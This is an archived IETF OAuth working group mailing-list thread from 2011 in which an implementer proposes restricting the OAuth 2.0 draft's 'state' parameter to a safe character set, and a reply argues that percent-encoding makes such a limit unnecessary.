>
> The server should reject requests with query parameters that are not properly
> percent-encoded.
>
> EHL
>
>> -Original Message-
>> From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf
>> Of Bob Van Zant
>> Sent: Friday, July 15, 2011 8:35 AM
>> To: OAuth WG
>> Subject: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
>>
>> Hi everyone,
>> I'm in the process of implementing OAuth and I'm a little concerned about
>> the "state" parameter that a client can send as part of the authorization
>> request. The spec says that the value is opaque and that I need to accept,
>> store, and reply with exactly what the client sent me. Can we impose some
>> restrictions on the type of data a client can send?
>>
>> The reason is that I don't necessarily trust the clients of my API to
>> properly
>> deal with sanitizing data. If someone steals a client_id (not
>> hard) and puts something malicious into the state field I'll happily
>> redirect the
>> resource owner to my client's site with malicious data in state. If the
>> client
>> does not properly handle this malicious data (there's an established track
>> record here) then I've opened my customer (the resource owner) to an
>> attack.
>>
>> Did I miss something in the spec where it limits what this variable can be?
>> If
>> not I'd like to propose that we limit this field to a set of characters that
>> are
>> safe. [a-zA-Z0-9_-]{0,100}
>>
>> The authorization server would validate that the state field contains only
>> those characters and if not SHOULD show the resource owner an error
>> (consistent with section 4.1.2.1, paragraph 1 and others).
>>
>> Thank you for all of your hard work on this spec to date and thanks for your
>> consideration of my comments.
>>
>> -Bob
>> ___
>> OAuth mailing list
>> OAuth@ietf.org
>> https://www.ietf.org/mailman/listinfo/oauth
>
___
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
I don't see the problem. The state value is percent-encoded both ways, so the
only way to inject a bad value there is by including a value that has special
meaning to the client. Putting a character limit on it will not do anything to
prevent that.
The server should reject requests with query parameters that are not properly
percent-encoded.
EHL
> -Original Message-
> From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf
> Of Bob Van Zant
> Sent: Friday, July 15, 2011 8:35 AM
> To: OAuth WG
> Subject: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
>
> Hi everyone,
> I'm in the process of implementing OAuth and I'm a little concerned about
> the "state" parameter that a client can send as part of the authorization
> request. The spec says that the value is opaque and that I need to accept,
> store, and reply with exactly what the client sent me. Can we impose some
> restrictions on the type of data a client can send?
>
> The reason is that I don't necessarily trust the clients of my API to properly
> deal with sanitizing data. If someone steals a client_id (not
> hard) and puts something malicious into the state field I'll happily redirect
> the
> resource owner to my client's site with malicious data in state. If the client
> does not properly handle this malicious data (there's an established track
> record here) then I've opened my customer (the resource owner) to an
> attack.
>
> Did I miss something in the spec where it limits what this variable can be? If
> not I'd like to propose that we limit this field to a set of characters that
> are
> safe. [a-zA-Z0-9_-]{0,100}
>
> The authorization server would validate that the state field contains only
> those characters and if not SHOULD show the resource owner an error
> (consistent with section 4.1.2.1, paragraph 1 and others).
>
> Thank you for all of your hard work on this spec to date and thanks for your
> consideration of my comments.
>
> -Bob
> ___
> OAuth mailing list
> OAuth@ietf.org
> https://www.ietf.org/mailman/listinfo/oauth
___
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
[OAUTH-WG] OAuth v2-18 comment on "state" parameter
Hi everyone,
I'm in the process of implementing OAuth and I'm a little concerned
about the "state" parameter that a client can send as part of the
authorization request. The spec says that the value is opaque and that
I need to accept, store, and reply with exactly what the client sent
me. Can we impose some restrictions on the type of data a client can
send?
The reason is that I don't necessarily trust the clients of my API to
properly deal with sanitizing data. If someone steals a client_id (not
hard) and puts something malicious into the state field I'll happily
redirect the resource owner to my client's site with malicious data in
state. If the client does not properly handle this malicious data
(there's an established track record here) then I've opened my
customer (the resource owner) to an attack.
Did I miss something in the spec where it limits what this variable
can be? If not I'd like to propose that we limit this field to a set
of characters that are safe. [a-zA-Z0-9_-]{0,100}
The authorization server would validate that the state field contains
only those characters and if not SHOULD show the resource owner an
error (consistent with section 4.1.2.1, paragraph 1 and others).
Thank you for all of your hard work on this spec to date and thanks
for your consideration of my comments.
-Bob
___
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
